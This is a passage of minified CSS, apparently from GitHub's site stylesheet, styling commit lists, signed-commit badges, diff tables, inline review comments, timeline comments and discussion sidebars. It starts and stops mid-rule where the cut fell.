Mono,monospace;font-size:12px}.commit.open .commit-desc{display:block}.commit-link{font-weight:400;color:var(--color-accent-fg)}.commit-ref{position:relative;display:inline-block;padding:0 4px;font:.85em/1.8 ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;color:var(--color-fg-muted);white-space:nowrap;background-color:var(--color-accent-subtle);border-radius:6px}.commit-ref .user{color:var(--color-accent-fg)}a.commit-ref:hover{color:var(--color-accent-fg);text-decoration:none;background-color:var(--color-accent-subtle)}.commit-desc{display:none}.commit-desc pre{max-width:700px;margin-top:8px;font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;font-size:11px;line-height:1.45;color:var(--color-fg-default);white-space:pre-wrap}.commit-desc+.commit-branches{padding-top:8px;margin-top:2px;border-top:solid 1px var(--color-border-subtle)}.commit-author-section{color:var(--color-fg-default)}.commit-author-section span.user-mention{font-weight:400}.commit-tease-sha{display:inline-block;font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;font-size:90%;color:var(--color-fg-default)}.commits-list-item[aria-selected=true],.commits-list-item.navigation-focus{background:#f6fbff}.commits-list-item .commit-title{margin:0;font-size:16px;font-weight:600;color:var(--color-fg-default)}.commits-list-item .commit-meta{margin-top:1px;font-weight:400;color:var(--color-fg-muted)}.commits-list-item .status .octicon{height:14px;line-height:14px}.commits-list-item .commit-author{color:var(--color-fg-muted)}.commits-list-item .octicon-arrow-right{margin:0 4px}.commits-list-item .btn-outline{margin-top:2px}.commits-list-item .commit-desc pre{margin-top:4px;margin-bottom:8px;color:var(--color-fg-muted)}.commits-list-item .commit-desc pre a{word-break:break-word}.commit-indicator{margin-left:4px}.commit-links-group{margin-right:4px}.commits-list-item+.commits-list-item{border-top:1px solid var(--color-border-default)}.full-commit{padding:8px 8px 0;margin:8px 0;font-size:14px;background:var(--color-neutral-subtle);border:1px solid var(--color-border-default);border-radius:6px}.full-commit:first-child{margin-top:0}.full-commit div.commit-title{font-size:16px;font-weight:600;color:var(--color-fg-default)}.full-commit .branches-list{display:inline;margin-right:8px;margin-left:2px;vertical-align:middle;list-style:none}.full-commit .branches-list li{display:inline-block;padding-left:4px;font-weight:600;color:var(--color-fg-default)}.full-commit .branches-list li::before{padding-right:4px;font-weight:400;content:"+"}.full-commit .branches-list li:first-child{padding-left:0}.full-commit .branches-list li:first-child::before{padding-right:0;content:""}.full-commit .branches-list li.loading{font-weight:400;color:var(--color-fg-muted)}.full-commit .branches-list li.pull-request{font-weight:400;color:var(--color-fg-muted)}.full-commit .branches-list li.pull-request::before{margin-left:-8px;content:""}.full-commit .branches-list li.pull-request-error{margin-bottom:-1px}.full-commit .branches-list li a{color:inherit}.full-commit .commit-meta{padding:8px;margin-right:-8px;margin-left:-8px;background:var(--color-canvas-default);border-top:1px solid var(--color-border-default);border-bottom-right-radius:6px;border-bottom-left-radius:6px}.full-commit .sha-block{margin-left:16px;font-size:12px;line-height:24px;color:var(--color-fg-muted)}.full-commit .sha-block>.sha{color:var(--color-fg-default)}.full-commit .sha-block>a{color:var(--color-fg-default);text-decoration:none;border-bottom:1px dotted var(--color-border-muted)}.full-commit .sha-block>a:hover{border-bottom:1px solid var(--color-border-default)}.full-commit .commit-desc{display:block;margin:-4px 0 8px}.full-commit .commit-desc pre{max-width:100%;overflow:visible;font-size:13px;word-wrap:break-word}.commit-branches{font-size:12px;color:var(--color-fg-muted);vertical-align:middle}.commit-branches .octicon{vertical-align:middle}.commit-build-statuses{position:relative;display:inline-block;text-align:left}.commit-build-statuses .dropdown-menu{min-width:362.6666666667px;max-width:544px;padding-top:0;padding-bottom:0}.commit-build-statuses .dropdown-menu .merge-status-list{max-height:170px;border-bottom:0}.commit-build-statuses .dropdown-menu-w,.commit-build-statuses .dropdown-menu-e{top:-11px}.commit-build-statuses .merge-status-item:last-child{border-radius:0 0 6px 6px}.dropdown-signed-commit .dropdown-menu{width:260px;margin-top:8px;font-size:14px;line-height:1.4;white-space:normal}.dropdown-signed-commit .dropdown-menu::after{border-bottom-color:var(--color-canvas-subtle)}.dropdown-signed-commit .dropdown-menu-w{top:-28px;margin-top:0}.dropdown-signed-commit .dropdown-menu-w::after{border-bottom-color:transparent;border-left-color:var(--color-canvas-subtle)}.signed-commit-header{line-height:1.3;white-space:normal;border-collapse:separate;background-color:var(--color-canvas-subtle);border-bottom:1px solid var(--color-border-default);border-top-left-radius:6px;border-top-right-radius:6px}.signed-commit-header .octicon-verified{color:var(--color-success-fg)}.signed-commit-header .octicon-unverified{color:var(--color-fg-muted)}.signed-commit-footer{font-size:12px;line-height:1.5}.signed-commit-cert-info{margin-bottom:4px}.signed-commit-cert-info td{vertical-align:top}.signed-commit-cert-info td:first-child{width:44px;padding-right:12px}.signed-commit-badge{display:inline-block;padding:1px 4px;font-size:12px;color:var(--color-fg-muted);vertical-align:middle;-webkit-user-select:none;user-select:none;background:none;border:1px solid var(--color-border-default);border-radius:6px}.signed-commit-badge:hover{text-decoration:none;border-color:var(--color-neutral-muted)}.signed-commit-badge.verified{color:var(--color-success-fg)}.signed-commit-badge.verified:hover{border-color:var(--color-success-emphasis)}.signed-commit-badge.unverified{color:var(--color-attention-fg)}.signed-commit-badge.unverified:hover{border-color:var(--color-attention-emphasis)}.signed-commit-badge-small{margin-top:-2px;margin-right:4px}.signed-commit-badge-medium{padding:4px 8px;font-size:12px;border-radius:6px}.signed-commit-badge-large{padding:4px 12px;margin-right:8px;font-size:14px;line-height:20px;border-radius:6px}.signed-commit-verified-label{color:#1e7e34}.signed-commit-signer-name{font-size:14px;text-align:left}.signed-commit-signer-name .signer{display:block;font-weight:600;color:var(--color-fg-default)}.table-of-contents{margin:16px 0}.table-of-contents li{padding:8px 0;list-style-type:none}.table-of-contents li+li{border-top:1px solid var(--color-border-muted)}.table-of-contents li>.octicon{margin-right:4px}.table-of-contents .toc-diff-stats{padding-left:16px;line-height:26px}.table-of-contents .toc-diff-stats .octicon{float:left;margin-top:4px;margin-left:-16px;color:#c6cbd1}.table-of-contents .toc-diff-stats .btn-link{font-weight:600}.table-of-contents .toc-diff-stats+.content{padding-top:4px}.table-of-contents .octicon-diff-removed{color:var(--color-danger-fg)}.table-of-contents .octicon-diff-renamed{color:var(--color-fg-muted)}.table-of-contents .octicon-diff-modified{color:var(--color-attention-fg)}.table-of-contents .octicon-diff-added{color:var(--color-success-fg)}.copyable-terminal{position:relative;padding:8px 55px 8px 8px;background-color:var(--color-canvas-subtle);border-radius:6px}.copyable-terminal-content{overflow:auto}.copyable-terminal-button{position:absolute;top:5px;right:5px}.copyable-terminal-button .zeroclipboard-button{float:right}.copyable-terminal-button .zeroclipboard-button .octicon{padding-left:1px;margin:0 auto}.blob-wrapper{overflow-x:auto;overflow-y:hidden}.blob-wrapper table tr:nth-child(2n){background-color:transparent}.page-edit-blob.height-full .CodeMirror{height:300px}.page-edit-blob.height-full .CodeMirror,.page-edit-blob.height-full .CodeMirror-scroll{display:flex;flex-direction:column;flex:1 1 auto}.blob-wrapper-embedded{max-height:240px;overflow-y:auto}.diff-table{width:100%;border-collapse:separate}.diff-table .blob-code.blob-code-inner{padding-left:22px}.diff-table .line-comments{padding:10px;vertical-align:top;border-top:1px solid var(--color-border-default)}.diff-table .line-comments:first-child+.empty-cell{border-left-width:1px}.diff-table tr:not(:last-child) .line-comments{border-top:1px solid var(--color-border-default);border-bottom:1px solid var(--color-border-default)}.diff-view .blob-code-marker-context::before,.diff-view .blob-code-marker-injected_context::before,.diff-view .blob-code-marker-addition::before,.diff-view .blob-code-marker-deletion::before{top:4px}.diff-view .line-alert,.diff-table .line-alert{position:absolute;left:-60px;margin:2px}.comment-body .diff-view .line-alert{left:0}.blob-num{position:relative;width:1%;min-width:50px;padding-right:10px;padding-left:10px;font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;font-size:12px;line-height:20px;color:var(--color-fg-subtle);text-align:right;white-space:nowrap;vertical-align:top;cursor:pointer;-webkit-user-select:none;user-select:none}.blob-num:hover{color:var(--color-fg-default)}.blob-num::before{content:attr(data-line-number)}.blob-num.non-expandable{cursor:default}.blob-num.non-expandable:hover{color:var(--color-fg-subtle)}.blob-num-hidden::before{visibility:hidden}.blob-code{position:relative;padding-right:10px;padding-left:10px;line-height:20px;vertical-align:top}.blob-code-inner{overflow:visible;font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;font-size:12px;color:var(--color-fg-default);word-wrap:normal;white-space:pre}.blob-code-inner .x-first{border-top-left-radius:.2em;border-bottom-left-radius:.2em}.blob-code-inner .x-last{border-top-right-radius:.2em;border-bottom-right-radius:.2em}.blob-code-inner.highlighted,.blob-code-inner .highlighted{background-color:var(--color-attention-subtle);box-shadow:inset 2px 0 0 var(--color-attention-muted)}.blob-code-inner::selection,.blob-code-inner *::selection{background-color:var(--color-accent-muted)}.blob-code-inner.blob-code-addition,.blob-code-inner.blob-code-deletion{position:relative;padding-left:22px !important}.blob-code-marker::before{position:absolute;top:1px;left:8px;padding-right:8px;content:attr(data-code-marker)}.blob-code-context,.blob-code-addition,.blob-code-deletion{padding-left:22px}.blob-code-marker-addition::before{position:absolute;top:1px;left:8px;content:"+ "}.blob-code-marker-deletion::before{position:absolute;top:1px;left:8px;content:"- "}.blob-code-marker-context::before{position:absolute;top:1px;left:8px;content:" "}.blob-code-marker-injected_context::before{position:absolute;top:1px;left:8px;content:" "}.soft-wrap .diff-table{table-layout:fixed}.soft-wrap .blob-code{padding-left:18px;text-indent:-7px}.soft-wrap .blob-code-inner{word-wrap:break-word;white-space:pre-wrap}.soft-wrap .no-nl-marker{display:none}.soft-wrap .add-line-comment{margin-top:0;margin-left:-24px}.soft-wrap .blob-code-context,.soft-wrap .blob-code-addition,.soft-wrap .blob-code-deletion{padding-left:24px;text-indent:0}.blob-num-hunk,.blob-code-hunk,.blob-num-expandable{color:var(--color-fg-muted);vertical-align:middle}.blob-num-hunk,.blob-num-expandable{background-color:var(--color-diff-blob-hunk-num-bg)}.blob-code-hunk{padding-top:4px;padding-bottom:4px;background-color:var(--color-accent-subtle);border-width:1px 0}.blob-expanded .blob-num:not(.blob-num-context-outside-diff),.blob-expanded .blob-code:not(.blob-code-context){background-color:var(--color-canvas-subtle)}.blob-expanded+tr.show-top-border:not(.blob-expanded) .blob-num,.blob-expanded+tr.show-top-border:not(.blob-expanded) .blob-code{border-top:1px solid var(--color-border-muted)}.blob-expanded tr.show-top-border .blob-num-hunk,.blob-expanded tr.show-top-border .blob-num{border-top:1px solid var(--color-border-muted)}tr.show-top-border+.blob-expanded .blob-num,tr.show-top-border+.blob-expanded .blob-code{border-top:1px solid var(--color-border-muted)}.blob-num-expandable{width:auto;padding:0;font-size:12px;text-align:center}.blob-num-expandable .directional-expander{display:block;width:auto;height:auto;margin-right:-1px;color:var(--color-diff-blob-expander-icon);cursor:pointer}.blob-num-expandable .single-expander{padding-top:4px;padding-bottom:4px}.blob-num-expandable .directional-expander:hover{color:var(--color-fg-on-emphasis);text-shadow:none;background-color:var(--color-accent-emphasis);border-color:var(--color-accent-emphasis)}.blob-code-addition{background-color:var(--color-diff-blob-addition-line-bg);outline:1px dotted transparent}.blob-code-addition .x{color:var(--color-diff-blob-addition-fg);background-color:var(--color-diff-blob-addition-word-bg)}.blob-num-addition{color:var(--color-diff-blob-addition-num-text);background-color:var(--color-diff-blob-addition-num-bg);border-color:var(--color-success-emphasis)}.blob-num-addition:hover{color:var(--color-fg-default)}.blob-code-deletion{background-color:var(--color-diff-blob-deletion-line-bg);outline:1px dashed transparent}.blob-code-deletion .x{color:var(--color-diff-blob-deletion-fg);background-color:var(--color-diff-blob-deletion-word-bg)}.blob-num-deletion{color:var(--color-diff-blob-deletion-num-text);background-color:var(--color-diff-blob-deletion-num-bg);border-color:var(--color-danger-emphasis)}.blob-num-deletion:hover{color:var(--color-fg-default)}.is-selecting{cursor:ns-resize !important}.is-selecting .blob-num{cursor:ns-resize !important}.is-selecting .add-line-comment,.is-selecting a{pointer-events:none;cursor:ns-resize !important}.is-selecting .is-hovered .add-line-comment{opacity:0}.is-selecting.file-diff-split{cursor:nwse-resize !important}.is-selecting.file-diff-split .blob-num{cursor:nwse-resize !important}.is-selecting.file-diff-split .empty-cell,.is-selecting.file-diff-split .add-line-comment,.is-selecting.file-diff-split a{pointer-events:none;cursor:nwse-resize !important}.selected-line{position:relative}.selected-line::after{position:absolute;top:0;left:0;display:block;width:100%;height:100%;box-sizing:border-box;pointer-events:none;content:"";background:var(--color-attention-subtle);mix-blend-mode:var(--color-diff-blob-selected-line-highlight-mix-blend-mode)}.selected-line.selected-line-top::after{border-top:1px solid var(--color-attention-muted)}.selected-line.selected-line-bottom::after{border-bottom:1px solid var(--color-attention-muted)}.selected-line:first-child::after,.selected-line.selected-line-left::after{border-left:1px solid var(--color-attention-muted)}.selected-line:last-child::after,.selected-line.selected-line-right::after{border-right:1px solid var(--color-attention-muted)}.is-commenting .selected-line.blob-code::before{position:absolute;top:0;left:-1px;display:block;width:4px;height:100%;content:"";background:var(--color-accent-emphasis)}.add-line-comment{position:relative;z-index:1;float:left;width:22px;height:22px;margin:-2px -10px -2px -32px;line-height:21px;color:var(--color-fg-on-emphasis);text-align:center;text-indent:0;cursor:pointer;background-color:var(--color-accent-emphasis);border-radius:6px;box-shadow:var(--color-shadow-medium);opacity:0;transition:transform .1s ease-in-out;transform:scale(0.8, 0.8)}.add-line-comment:hover{transform:scale(1, 1)}.is-hovered .add-line-comment,.add-line-comment:focus{opacity:1}.add-line-comment .octicon{vertical-align:text-top;pointer-events:none}.add-line-comment.octicon-check{background:#333;opacity:1}.inline-comment-form{border:1px solid #dfe2e5;border-radius:6px}.timeline-inline-comments{width:100%;table-layout:fixed}.timeline-inline-comments .inline-comments,.show-inline-notes .inline-comments{display:table-row}.inline-comments{display:none}.inline-comments .line-comments+.blob-num{border-left-width:1px}.inline-comments .timeline-comment{margin-bottom:10px}.inline-comments .inline-comment-form,.inline-comments .inline-comment-form-container{max-width:780px}.comment-holder{max-width:780px}.comment-holder+.comment-holder{margin-top:16px}.line-comments+.line-comments,.empty-cell+.line-comments{border-left:1px solid var(--color-border-muted)}.inline-comment-form-container .inline-comment-form,.inline-comment-form-container.open .inline-comment-form-actions{display:none}.inline-comment-form-container .inline-comment-form-actions,.inline-comment-form-container.open .inline-comment-form{display:block}body.full-width .container,body.full-width .container-lg,body.full-width .container-xl{width:100%;max-width:none;padding-right:20px;padding-left:20px}body.full-width .repository-content{width:100%}body.full-width .new-pr-form{max-width:980px}.file-diff-split{table-layout:fixed}.file-diff-split .blob-code+.blob-num{border-left:1px solid var(--color-border-muted)}.file-diff-split .blob-code-inner{word-wrap:break-word;white-space:pre-wrap}.file-diff-split .empty-cell{cursor:default;background-color:var(--color-neutral-subtle);border-right-color:var(--color-border-muted)}@media(max-width: 1280px){.file-diff-split .write-selected .comment-form-head{margin-bottom:48px !important}.file-diff-split markdown-toolbar{position:absolute;right:8px;bottom:-40px}}.submodule-diff-stats .octicon-diff-removed{color:var(--color-danger-fg)}.submodule-diff-stats .octicon-diff-renamed{color:var(--color-fg-muted)}.submodule-diff-stats .octicon-diff-modified{color:var(--color-attention-fg)}.submodule-diff-stats .octicon-diff-added{color:var(--color-success-fg)}.BlobToolbar{left:-17px}.BlobToolbar-dropdown{margin-left:-2px}.pl-token:hover,.pl-token.active{cursor:pointer;background:#ffea7f}.discussion-timeline{position:relative;float:left}.discussion-timeline::before{position:absolute;top:0;bottom:0;left:72px;z-index:0;display:block;width:2px;content:"";background-color:var(--color-border-default)}.discussion-sidebar-item{padding-top:16px;font-size:12px;color:var(--color-fg-muted)}.discussion-sidebar-item .btn .octicon{margin-right:0}.discussion-sidebar-item .muted-icon{color:var(--color-fg-muted)}.discussion-sidebar-item .muted-icon:hover{color:var(--color-accent-fg);text-decoration:none;cursor:pointer}.discussion-sidebar-item+.discussion-sidebar-item{margin-top:16px;border-top:1px solid var(--color-border-muted)}.discussion-sidebar-item .select-menu{position:relative}.discussion-sidebar-item .select-menu-modal-holder{top:25px;right:-1px;left:auto}.discussion-sidebar-heading{margin-bottom:8px;font-size:12px;color:var(--color-fg-muted)}.discussion-sidebar-toggle{padding:4px 0;margin:-4px 0 4px}.discussion-sidebar-toggle .octicon{float:right;color:var(--color-fg-muted)}.discussion-sidebar-toggle:hover{color:var(--color-accent-fg);text-decoration:none;cursor:pointer}.discussion-sidebar-toggle:hover .octicon{color:inherit}button.discussion-sidebar-toggle{display:block;width:100%;font-weight:600;text-align:left;background:none;border:0}.sidebar-progress-bar .progress-bar{height:8px;margin-bottom:2px;border-radius:6px}.sidebar-assignee .css-truncate-target{max-width:110px}.sidebar-assignee .assignee{font-weight:600;color:var(--color-fg-muted);vertical-align:middle}.sidebar-assignee .assignee:hover{color:var(--color-accent-fg);text-decoration:none}.sidebar-assignee .reviewers-status-icon{width:14px}.sidebar-assignee .octicon{margin-top:2px}.thread-subscribe-form.is-error .thread-subscribe-button{color:var(--color-danger-fg)}.sidebar-notifications{position:relative}.sidebar-notifications .thread-subscription-status{padding:0;margin:0;border:0}.sidebar-notifications .thread-subscription-status .thread-subscribe-form{display:block}.sidebar-notifications .thread-subscription-status .reason{padding:0;margin:4px 0 0}.sidebar-notifications .thread-subscription-status .btn-sm{display:block;width:100%}.participation .participant-avatar{float:left;margin:4px 0 0 4px}.participation a{color:var(--color-fg-muted)}.participation a:hover{color:var(--color-accent-fg);text-decoration:none}.participation-avatars{margin-left:-4px}.participation-avatars::before{display:table;content:""}.participation-avatars::after{display:table;clear:both;content:""}.participation-more{float:left;margin:8px 4px 0}.inline-comment-form .form-actions,.timeline-new-comment .form-actions{padding:0 8px 8px}.inline-comment-form::before{display:table;content:""}.inline-comment-form::after{display:table;clear:both;content:""}.inline-comment-form .tabnav-tabs{display:inline-block}.inline-comment-form .form-actions{float:right}.gh-header-actions{float:right;margin-top:4px}.gh-header-actions .btn-sm{float:left;margin-left:4px}.gh-header-actions .btn-sm .octicon{margin-right:0}.gh-header{background-color:var(--color-canvas-default)}.gh-header .gh-header-sticky{height:1px}.gh-header .gh-header-sticky .meta{font-size:12px}.gh-header .gh-header-sticky .sticky-content,.gh-header .gh-header-sticky .gh-header-shadow{display:none}.gh-header .gh-header-sticky.is-stuck{z-index:110;height:60px}.gh-header .gh-header-sticky.is-stuck .sticky-content{display:block}.gh-header .gh-header-sticky.is-stuck .css-truncate-target{max-width:150px}.gh-header .gh-header-sticky.is-stuck+.gh-header-shadow{position:fixed;top:0;right:0;left:0;z-index:109;display:block;height:60px;content:"";background-color:var(--color-canvas-default);border-bottom:1px solid var(--color-border-default)}.gh-header .gh-header-edit{display:none}.gh-header .gh-header-meta .base-ref{display:inline-block}.gh-header .gh-header-meta .commit-ref-dropdown{display:none}.gh-header.open .gh-header-show{display:none}.gh-header.open .gh-header-edit{display:block}.gh-header.open .gh-header-meta .base-ref{display:none}.gh-header.open .gh-header-meta .commit-ref-dropdown{display:inline-block;margin-top:-4px;vertical-align:top}.gh-header-title{margin-right:150px;margin-bottom:0;font-weight:400;line-height:1.125;word-wrap:break-word}.gh-header-no-access .gh-header-title{margin-right:0}.gh-header-number{font-weight:300;color:var(--color-fg-muted)}.gh-header-meta{padding-bottom:8px;margin-top:8px;font-size:14px;color:var(--color-fg-muted);border-bottom:1px solid var(--color-border-default)}.gh-header.issue .gh-header-meta{margin-bottom:16px}.gh-header.pull .gh-header-meta{padding-bottom:0;border-bottom:0}.gh-header-meta .commit-ref .css-truncate-target,.gh-header-meta .commit-ref:hover .css-truncate-target{max-width:80vw}.gh-header-meta .State{margin-right:8px}.gh-header-meta .avatar{float:left;margin-top:-4px;margin-right:4px}.timeline-comment-wrapper{position:relative;padding-left:56px;margin-top:16px;margin-bottom:16px}.timeline-comment-avatar{float:left;margin-left:-56px;border-radius:6px}.timeline-comment-avatar .avatar{width:40px;height:40px}.timeline-comment-avatar .avatar-child{width:20px;height:20px}.timeline-comment{position:relative;color:var(--color-fg-default);background-color:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:6px}.timeline-comment.will-transition-once{transition:border-color .65s ease-in-out}.timeline-comment.will-transition-once .timeline-comment-header{transition:background-color .65s ease,border-bottom-color .65s ease-in-out}.timeline-comment.will-transition-once::before,.timeline-comment.will-transition-once::after{transition:border-right-color .65s ease-in-out}.timeline-comment.current-user{border-color:var(--color-accent-muted)}.timeline-comment.current-user .timeline-comment-header{background-color:var(--color-accent-subtle);border-bottom-color:var(--color-accent-muted)}.timeline-comment.current-user .Label{border-color:var(--color-accent-muted)}.timeline-comment.current-user .previewable-comment-form .comment-form-head.tabnav{color:var(--color-accent-muted);background-color:var(--color-accent-subtle);border-bottom-color:var(--color-accent-muted)}.timeline-comment.unread-item,.timeline-comment.is-internal{border-color:var(--color-attention-muted)}.timeline-comment.unread-item .timeline-comment-header,.timeline-comment.is-internal .timeline-comment-header{background-color:var(--color-attention-subtle);border-bottom-color:var(--color-attention-muted)}.timeline-comment.unread-item .Label,.timeline-comment.is-internal .Label{border-color:var(--color-attention-muted)}.timeline-comment.unread-item .previewable-comment-form .comment-form-head.tabnav,.timeline-comment.is-internal .previewable-comment-form .comment-form-head.tabnav{color:var(--color-attention-muted);background-color:var(--color-attention-subtle);border-bottom-color:var(--color-attention-muted)}.timeline-comment:empty{display:none}.timeline-comment .comment+.comment{border-top:1px solid var(--color-border-default)}.timeline-comment .comment+.comment::before,.timeline-comment .comment+.comment::after{display:none}.timeline-comment .comment+.comment .timeline-comment-header{border-top-left-radius:0;border-top-right-radius:0}.timeline-comment--caret::after,.timeline-comment--caret::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.timeline-comment--caret::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-subtle), var(--color-canvas-subtle))}.timeline-comment--caret::before{background-color:var(--color-border-default)}.is-pending .timeline-comment--caret::after,.is-pending .timeline-comment--caret::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.is-pending .timeline-comment--caret::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-attention-subtle), var(--color-attention-subtle))}.is-pending .timeline-comment--caret::before{background-color:var(--color-attention-emphasis)}.timeline-comment--caret.current-user::after,.timeline-comment--caret.current-user::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.timeline-comment--caret.current-user::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-accent-subtle), var(--color-accent-subtle))}.timeline-comment--caret.current-user::before{background-color:var(--color-accent-muted)}.timeline-comment--caret.unread-item::after,.timeline-comment--caret.unread-item::before,.timeline-comment--caret.is-internal::after,.timeline-comment--caret.is-internal::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.timeline-comment--caret.unread-item::after,.timeline-comment--caret.is-internal::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-attention-subtle), var(--color-attention-subtle))}.timeline-comment--caret.unread-item::before,.timeline-comment--caret.is-internal::before{background-color:var(--color-attention-muted)}.timeline-comment--caret.timeline-comment--caret-nw::before,.timeline-comment--caret.timeline-comment--caret-nw::after{transform:rotate(90deg)}.timeline-comment--caret.timeline-comment--caret-nw::before{top:-12px;left:12px}.timeline-comment--caret.timeline-comment--caret-nw::after{top:-10px;left:11px}.page-responsive .timeline-comment--caret::before,.page-responsive .timeline-comment--caret::after{display:none}@media(min-width: 768px){.page-responsive .timeline-comment--caret::before,.page-responsive .timeline-comment--caret::after{display:block}}:target .timeline-comment--caret::before{background-color:var(--color-accent-fg)}:target .timeline-comment--caret::after{margin-left:2px !important}:target .timeline-comment{z-index:2;border-color:var(--color-accent-fg);outline:none !important;box-shadow:0 0 0 1px var(--color-accent-fg) !important}.review-comment:target{border-radius:6px;outline:none !important;box-shadow:0 0 0 1px var(--color-accent-fg) !important}.timeline-comment-header{display:flex;align-items:center;padding-right:16px;padding-left:16px;color:var(--color-fg-muted);flex-direction:row-reverse;background-color:var(--color-canvas-subtle);border-bottom:1px solid var(--color-border-default);border-top-left-radius:6px;border-top-right-radius:6px}.timeline-comment-header:only-child{border-bottom:0;border-radius:6px}.timeline-comment-header .author{color:var(--color-fg-muted)}.timeline-comment-header code{word-break:break-all}.comment-type-icon{color:inherit}.timeline-comment-header-text{min-width:0;padding-top:8px;padding-bottom:8px;margin-bottom:1px;flex:1 1 auto}.timeline-comment-header-text code a{color:var(--color-fg-muted)}.timeline-comment-actions{float:right;margin-left:8px}.timeline-comment-actions .show-more-popover.dropdown-menu-sw{right:-6px;margin-top:-4px}.timeline-comment-action{display:inline-block;padding:8px 4px;color:var(--color-fg-muted)}.timeline-comment-action:hover,.timeline-comment-action:focus{color:var(--color-accent-fg);text-decoration:none;opacity:1}.timeline-comment-action .octicon-check{height:16px}.timeline-comment-action.disabled{color:var(--color-fg-muted);cursor:default}.timeline-comment-action.disabled:hover{color:var(--color-fg-muted)}.timeline-new-comment{margin-bottom:0}.timeline-new-comment .comment-form-head{margin-bottom:8px}.timeline-new-comment .previewable-comment-form .comment-body{padding-top:0}.comment-form-head .toolbar-commenting{float:right}.discussion-item-icon{float:left;width:32px;height:32px;margin-top:-4px;margin-left:-39px;line-height:28px;color:var(--color-fg-muted);text-align:center;background-color:var(--color-timeline-badge-bg);border:2px solid var(--color-canvas-default);border-radius:50%}.discussion-item-header{color:var(--color-fg-muted);word-wrap:break-word}.discussion-item-header .discussion-item-private{vertical-align:-1px}.discussion-item-header:last-child{padding-bottom:0}.discussion-item-header .commit-ref{font-size:85%;vertical-align:baseline}.discussion-item-header .btn-outline{float:right;padding:4px 8px;margin-top:-4px;margin-left:8px}.discussion-item-private{color:var(--color-fg-muted)}.previewable-comment-form .comment-form-head.tabnav{padding:8px 8px 0;background:var(--color-canvas-subtle);border-radius:6px 6px 0 0}.page-responsive .previewable-comment-form .comment-form-head.tabnav .toolbar-commenting{background:var(--color-canvas-default)}@media(min-width: 1012px){.page-responsive .previewable-comment-form .comment-form-head.tabnav .toolbar-commenting{background:transparent}}@media(min-width: 768px){.page-responsive .previewable-comment-form .comment-form-head.tabnav{background:var(--color-canvas-subtle)}}.previewable-comment-form .comment{border:0}.previewable-comment-form .comment-body{padding-top:8px;padding-right:8px;padding-bottom:8px;padding-left:8px;background-color:transparent;border-bottom:1px solid var(--color-border-default)}.previewable-comment-form .timeline-comment .timeline-comment-actions{display:none}.new-discussion-timeline .composer .timeline-comment{margin-bottom:8px}.new-discussion-timeline .composer .comment-form-head.tabnav{padding-top:0;background-color:var(--color-canvas-default)}.composer.composer-responsive{padding-left:0}.composer.composer-responsive .discussion-topic-header{padding:0}.composer.composer-responsive .timeline-comment{border:0}.composer.composer-responsive .timeline-comment::before,.composer.composer-responsive .timeline-comment::after{display:none}.composer.composer-responsive .previewable-comment-form .write-content{margin:0}@media(min-width: 768px){.composer.composer-responsive{padding-left:56px}.composer.composer-responsive .timeline-comment{border:1px solid var(--color-border-default)}.composer.composer-responsive .timeline-comment::after,.composer.composer-responsive .timeline-comment::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.composer.composer-responsive .timeline-comment::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default))}.composer.composer-responsive .timeline-comment::before{background-color:var(--color-border-default)}}.discussion-timeline-actions{background-color:var(--color-canvas-default);border-top:2px solid var(--color-border-default)}.discussion-timeline-actions .merge-pr{padding-top:0;border-top:0}.discussion-timeline-actions .thread-subscription-status{margin-top:16px}.pagination-loader-container{background-color:var(--color-canvas-default);background-image:url("/images/modules/pulls/progressive-disclosure-line.svg");background-repeat:repeat-x;background-position:center;background-size:16px}[data-color-mode=light][data-light-theme*=dark] .pagination-loader-container,[data-color-mode=dark][data-dark-theme*=dark] .pagination-loader-container{background-image:url("/images/modules/pulls/progressive-disclosure-line-dark.svg")}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=dark] .pagination-loader-container{background-image:url("/images/modules/pulls/progressive-disclosure-line-dark.svg")}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=dark] .pagination-loader-container{background-image:url("/images/modules/pulls/progressive-disclosure-line-dark.svg")}}:target .timeline-comment-group .timeline-comment .timeline-comment-group .timeline-comment{box-shadow:none !important}.is-pending .form-actions{margin-right:8px;margin-bottom:4px}.is-pending .file,.is-pending .file-header,.is-pending .tabnav-tab.selected,.is-pending .comment-form-head.tabnav{border-color:var(--color-attention-emphasis)}.is-pending .file-header,.is-pending .comment-form-head.tabnav{background-color:var(--color-attention-subtle)}.discussion-item-icon-gray{background-color:var(--color-timeline-badge-bg) 